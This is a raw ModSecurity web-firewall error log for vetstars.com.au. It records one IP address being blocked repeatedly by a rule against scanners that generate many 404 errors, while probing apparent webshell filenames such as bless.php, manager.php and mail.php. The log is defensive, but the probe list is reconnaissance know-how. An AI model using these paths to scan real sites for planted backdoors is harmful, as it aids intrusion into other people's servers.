[Sun Dec 28 19:07:55.547819 2025] [:error] [pid 29388:tid 29400] [client 4.196.149.150:15043] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aVEPi9oLv2L2zI_SpdXTBwAAAUQ"]
[Sun Dec 28 19:07:55.809864 2025] [:error] [pid 42292:tid 42300] [client 4.196.149.150:17724] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVEPi5yOrM_vaFx1osY_jAAAAAQ"]
[Sun Dec 28 19:07:56.344337 2025] [:error] [pid 29388:tid 29408] [client 4.196.149.150:15188] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVEPjNoLv2L2zI_SpdXTCQAAAUw"]
[Sun Dec 28 19:07:57.306650 2025] [:error] [pid 42292:tid 42298] [client 4.196.149.150:15258] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVEPjZyOrM_vaFx1osY_jQAAAAI"]
[Sun Dec 28 19:07:57.976287 2025] [:error] [pid 42293:tid 42324] [client 4.196.149.150:15150] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVEPjcvc9B-5cwN385LYjgAAAEE"]
[Sun Dec 28 19:07:58.796339 2025] [:error] [pid 29437:tid 29485] [client 4.196.149.150:15131] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aVEPjhhDotAbVk6pZLe15QAAAdM"]
[Sun Dec 28 19:07:59.810042 2025] [:error] [pid 29436:tid 29461] [client 4.196.149.150:15128] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aVEPj7chzOOtNL9VPNLdNQAAAZY"]
[Sun Dec 28 19:07:59.978580 2025] [:error] [pid 42293:tid 42342] [client 4.196.149.150:15118] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aVEPj8vc9B-5cwN385LYlAAAAFM"]
[Sun Dec 28 19:08:00.737770 2025] [:error] [pid 43789:tid 43791] [client 4.196.149.150:15181] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aVEPkAa-tUppni4CcCYnXwAAAQA"]
[Sun Dec 28 19:08:01.117045 2025] [:error] [pid 29437:tid 29466] [client 4.196.149.150:17668] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aVEPkRhDotAbVk6pZLe16AAAAcA"]
[Sun Dec 28 19:08:01.358030 2025] [:error] [pid 29388:tid 29398] [client 4.196.149.150:15206] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aVEPkdoLv2L2zI_SpdXTDwAAAUI"]
[Sun Dec 28 19:08:02.636712 2025] [:error] [pid 43789:tid 43798] [client 4.196.149.150:15286] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aVEPkga-tUppni4CcCYnYAAAAQc"]
[Sun Dec 28 19:08:04.219598 2025] [:error] [pid 42294:tid 42359] [client 4.196.149.150:15238] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aVEPlNTE5kYcYCOzl9GzuwAAAIk"]
[Sun Dec 28 19:08:05.262277 2025] [:error] [pid 42293:tid 42325] [client 4.196.149.150:17711] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aVEPlcvc9B-5cwN385LYngAAAEI"]
[Sun Dec 28 19:08:05.827164 2025] [:error] [pid 43789:tid 43796] [client 4.196.149.150:15147] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aVEPlQa-tUppni4CcCYnYgAAAQU"]
[Sun Dec 28 19:08:06.029754 2025] [:error] [pid 42293:tid 42342] [client 4.196.149.150:15222] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aVEPlsvc9B-5cwN385LYoAAAAFM"]
[Sun Dec 28 19:08:06.472955 2025] [:error] [pid 29436:tid 29462] [client 4.196.149.150:15162] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aVEPlrchzOOtNL9VPNLdOQAAAZc"]
[Sun Dec 28 19:08:06.891026 2025] [:error] [pid 42293:tid 42341] [client 4.196.149.150:15287] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aVEPlsvc9B-5cwN385LYogAAAFI"]
[Sun Dec 28 19:08:07.167088 2025] [:error] [pid 42378:tid 42387] [client 4.196.149.150:15139] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aVEPlzgtcN-KHAjWrX8OfAAAAMc"]
[Sun Dec 28 19:08:07.393606 2025] [:error] [pid 42378:tid 42391] [client 4.196.149.150:15288] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aVEPlzgtcN-KHAjWrX8OfQAAAMs"]
[Sun Dec 28 19:08:07.519074 2025] [:error] [pid 42294:tid 42355] [client 4.196.149.150:15056] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aVEPl9TE5kYcYCOzl9GzvwAAAIU"]
[Sun Dec 28 19:08:07.680032 2025] [:error] [pid 42294:tid 42353] [client 4.196.149.150:15304] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aVEPl9TE5kYcYCOzl9GzwQAAAIM"]
[Sun Dec 28 19:08:07.839329 2025] [:error] [pid 42378:tid 42382] [client 4.196.149.150:15217] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aVEPlzgtcN-KHAjWrX8OfgAAAMI"]
[Sun Dec 28 19:08:08.001110 2025] [:error] [pid 42378:tid 42401] [client 4.196.149.150:15122] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aVEPmDgtcN-KHAjWrX8OfwAAANU"]
[Sun Dec 28 19:08:08.469581 2025] [:error] [pid 42378:tid 42403] [client 4.196.149.150:15076] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aVEPmDgtcN-KHAjWrX8OgQAAANc"]
[Sun Dec 28 19:08:08.629963 2025] [:error] [pid 42294:tid 42350] [client 4.196.149.150:15114] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVEPmNTE5kYcYCOzl9GzwgAAAIA"]
[Sun Dec 28 19:08:08.763749 2025] [:error] [pid 42292:tid 42315] [client 4.196.149.150:15143] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVEPmJyOrM_vaFx1osY_mgAAABM"]
[Sun Dec 28 19:08:08.944607 2025] [:error] [pid 29437:tid 29489] [client 4.196.149.150:14977] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVEPmBhDotAbVk6pZLe17AAAAdc"]
[Sun Dec 28 19:08:09.183272 2025] [:error] [pid 42293:tid 42347] [client 4.196.149.150:15277] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVEPmcvc9B-5cwN385LYpQAAAFg"]
[Sun Dec 28 19:08:09.514742 2025] [:error] [pid 43789:tid 43810] [client 4.196.149.150:15264] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aVEPmQa-tUppni4CcCYnYwAAARM"]
[Sun Dec 28 19:08:09.728565 2025] [:error] [pid 29388:tid 29405] [client 4.196.149.150:15194] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aVEPmdoLv2L2zI_SpdXTFAAAAUk"]
[Sun Dec 28 19:08:10.131084 2025] [:error] [pid 42294:tid 42362] [client 4.196.149.150:15208] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aVEPmtTE5kYcYCOzl9GzxQAAAIw"]
[Sun Dec 28 19:08:10.431516 2025] [:error] [pid 42294:tid 42366] [client 4.196.149.150:15057] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aVEPmtTE5kYcYCOzl9GzxgAAAJA"]
[Sun Dec 28 19:08:10.592442 2025] [:error] [pid 42294:tid 42364] [client 4.196.149.150:15356] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVEPmtTE5kYcYCOzl9GzxwAAAI4"]
[Sun Dec 28 19:08:10.926341 2025] [:error] [pid 42294:tid 42352] [client 4.196.149.150:15341] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVEPmtTE5kYcYCOzl9GzyAAAAII"]
[Sun Dec 28 19:08:11.209328 2025] [:error] [pid 43789:tid 43813] [client 4.196.149.150:15040] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVEPmwa-tUppni4CcCYnZAAAARY"]
[Sun Dec 28 19:08:11.417784 2025] [:error] [pid 29436:tid 29441] [client 4.196.149.150:15183] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVEPm7chzOOtNL9VPNLdPAAAAYI"]
[Sun Dec 28 19:08:11.540608 2025] [:error] [pid 42294:tid 42351] [client 4.196.149.150:15282] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aVEPm9TE5kYcYCOzl9GzygAAAIE"]
[Sun Dec 28 19:08:11.687089 2025] [:error] [pid 42293:tid 42323] [client 4.196.149.150:15135] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aVEPm8vc9B-5cwN385LY-AAAAEA"]
[Sun Dec 28 19:08:11.801240 2025] [:error] [pid 42292:tid 42298] [client 4.196.149.150:15224] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aVEPm5yOrM_vaFx1osY_nAAAAAI"]
[Sun Dec 28 19:08:11.959108 2025] [:error] [pid 42293:tid 42326] [client 4.196.149.150:15216] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aVEPm8vc9B-5cwN385LZDQAAAEM"]
[Sun Dec 28 19:08:12.183586 2025] [:error] [pid 29437:tid 29478] [client 4.196.149.150:15334] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aVEPnBhDotAbVk6pZLe2BgAAAcw"]
[Sun Dec 28 19:08:12.343988 2025] [:error] [pid 29436:tid 29442] [client 4.196.149.150:15228] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aVEPnLchzOOtNL9VPNLdPQAAAYM"]
[Sun Dec 28 19:08:12.526409 2025] [:error] [pid 29388:tid 29410] [client 4.196.149.150:15126] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aVEPnNoLv2L2zI_SpdXTFQAAAU4"]
[Sun Dec 28 19:08:12.675844 2025] [:error] [pid 42293:tid 42336] [client 4.196.149.150:15144] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aVEPnMvc9B-5cwN385LZNwAAAE0"]
[Sun Dec 28 19:08:12.939692 2025] [:error] [pid 29436:tid 29456] [client 4.196.149.150:15246] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVEPnLchzOOtNL9VPNLdPwAAAZE"]
[Sun Dec 28 19:08:13.162573 2025] [:error] [pid 42292:tid 42302] [client 4.196.149.150:15138] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVEPnZyOrM_vaFx1osY_ngAAAAY"]
[Sun Dec 28 19:08:13.428817 2025] [:error] [pid 29436:tid 29444] [client 4.196.149.150:15087] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVEPnbchzOOtNL9VPNLdQgAAAYU"]
[Sun Dec 28 19:08:13.685166 2025] [:error] [pid 29436:tid 29452] [client 4.196.149.150:15259] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVEPnbchzOOtNL9VPNLdQwAAAY0"]
[Sun Dec 28 19:08:58.616872 2025] [:error] [pid 29437:tid 29468] [client 4.196.149.150:15226] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aVEPyhhDotAbVk6pZLe2UAAAAcI"]
[Sun Dec 28 19:08:58.883272 2025] [:error] [pid 29437:tid 29481] [client 4.196.149.150:15042] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aVEPyhhDotAbVk6pZLe2UgAAAc8"]
[Sun Dec 28 19:08:59.604799 2025] [:error] [pid 29437:tid 29490] [client 4.196.149.150:15134] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aVEPyxhDotAbVk6pZLe2VQAAAdg"]
[Sun Dec 28 19:08:59.724721 2025] [:error] [pid 29436:tid 29450] [client 4.196.149.150:15051] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aVEPy7chzOOtNL9VPNLdmgAAAYs"]
[Sun Dec 28 19:08:59.857918 2025] [:error] [pid 29436:tid 29442] [client 4.196.149.150:15070] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aVEPy7chzOOtNL9VPNLdmwAAAYM"]
[Sun Dec 28 19:08:59.931899 2025] [:error] [pid 29437:tid 29477] [client 4.196.149.150:15125] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aVEPyxhDotAbVk6pZLe2WQAAAcs"]
[Sun Dec 28 19:08:59.994311 2025] [:error] [pid 42292:tid 42300] [client 4.196.149.150:15113] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aVEPy5yOrM_vaFx1osY_wwAAAAQ"]
[Sun Dec 28 19:09:00.193460 2025] [:error] [pid 42378:tid 42386] [client 4.196.149.150:15219] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aVEPzDgtcN-KHAjWrX8OtwAAAMY"]
